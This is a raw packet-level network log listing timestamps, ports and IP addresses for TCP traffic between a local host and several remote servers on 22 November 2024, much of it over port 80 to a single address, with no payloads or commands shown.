Nov 22, 2024 23:06:41.058335066 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.073833942 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.073847055 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.087030888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.087086916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.087143898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.087253094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.087266922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.087296009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.087327957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.087369919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.088042021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.088118076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.088263035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.088306904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.088329077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.088377953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.089001894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.089073896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.089488983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.089540005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.089880943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.089895964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.089929104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.090018034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.090660095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.090718031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.090795994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.090847015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.091428041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.091497898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.092230082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.092278957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.092294931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.092310905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.092339993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.093024015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.093071938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.093904972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.093920946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.093936920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.093966007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.094003916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.094664097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.094852924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.095498085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.095514059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.095536947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.095556021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.095757008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.095797062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.096268892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.096422911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.096839905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.096976042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.097105026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.097122908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.097166061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.097899914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.098000050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.098745108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.098761082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.098786116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.098809958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.098855972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.098903894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.099566936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.099633932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.099684000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.099726915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.100397110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.100419044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.100467920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.101146936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.101203918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.101974010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.101989031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.102005005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.102026939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.102050066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.102760077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.102814913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.103254080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.103334904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.103586912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.103605032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.103646994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.105279922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.105294943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.105309963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.105325937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.105351925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.105384111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.105974913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.106025934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.106106997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.106225014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.106832981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.106848001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.106873989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.106899977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.107609034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.107661963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.108418941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.108433962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.108474970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.108493090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.108531952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.109184980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.109266043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.110018969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.110034943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.110083103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.110116005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.110116959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.110200882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.110831976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.110909939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.111557961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.111618042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.111689091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.111706018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.111752987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.112374067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.112570047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.120553017 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.163572073 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.163872957 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.163899899 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.164378881 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.164861917 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.164861917 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.164947033 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.211261034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.211369991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.211549997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:41.211625099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:41.216774940 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.326276064 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.347481966 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:41.359203100 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.359222889 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.360236883 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:41.360295057 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:41.360780001 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.361022949 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.361413956 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:41.361531019 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:41.362214088 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.362323999 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.364284039 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:41.364353895 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:41.367482901 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.368669033 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.368684053 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.369435072 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.370243073 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.370243073 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.370369911 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.377501965 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.378942966 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.378962040 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.380414009 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.380474091 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.380816936 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.380896091 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.407054901 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.407063961 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:41.407071114 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.407090902 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:41.422400951 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.422506094 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.422516108 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:41.450309038 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:41.450817108 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.465739965 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:41.533751011 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.533771992 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.533813000 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.533849955 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.533866882 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.533876896 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.533893108 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.533941984 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.536825895 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.536837101 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.536871910 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.536876917 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.723136902 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.737010956 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.737051964 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.737648010 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.737658024 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.785831928 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.785877943 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.786119938 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.786716938 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:41.786731958 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:41.835678101 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.836153030 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.836184025 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.837167025 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.837173939 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.923161030 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.925935030 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.926176071 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.940372944 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:41.940401077 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:41.944065094 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.950009108 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.950036049 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.952569962 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.952579021 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.990134954 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.990622044 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.990655899 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:41.991178989 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:41.991187096 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.034437895 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.038011074 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.038036108 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.038408995 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.038414955 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.052814960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:42.052814960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:42.136466980 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:42.136496067 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:42.136740923 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:42.136799097 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:42.136831045 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:42.151453972 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:42.151475906 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:42.166892052 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.166975021 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.167290926 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.172441006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:42.172468901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:42.182379961 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.182415009 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.182450056 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.182456970 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.194749117 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.194796085 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.194874048 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.195075989 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.195091963 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.280342102 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.280436993 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.280488968 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.280958891 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.280982971 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.285460949 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.285505056 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.285588026 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.285728931 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.285737038 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.349782944 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.350169897 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.350191116 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.350562096 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.350899935 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.350966930 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.351058960 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.387995958 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.388114929 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.388202906 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.388343096 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.388343096 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.388362885 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.388374090 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.390966892 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.391021013 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.391096115 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.391237974 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.391251087 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.395332098 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.433979988 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.434098005 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.434427023 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.434427023 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.434427023 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.436736107 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.436774015 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.436891079 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.437100887 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.437114954 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.488008022 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.488079071 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.488162041 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.498245001 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.498269081 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.498281002 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.498287916 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.502487898 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.502527952 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.502630949 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.502813101 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.502826929 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.509557009 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.509608030 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.509685040 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.509816885 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.509844065 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.515439987 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.515470028 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.515815973 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.515981913 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:42.515995979 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:42.516798973 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.516830921 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.516890049 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.517255068 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.517266989 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.551476002 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:42.552026033 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:42.552042007 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:42.552395105 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:42.552763939 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:42.552829981 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:42.553097010 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:42.599329948 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:42.747347116 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:42.747379065 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:42.886392117 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.886421919 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.886482954 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.886507034 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.886521101 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:42.886663914 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.890507936 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:42.890523911 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:43.006427050 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:43.006522894 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:43.006642103 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:43.008516073 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:43.008536100 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:43.174850941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:43.174935102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.283623934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.403172016 CET	80	49762	185.215.113.206	192.168.2.5
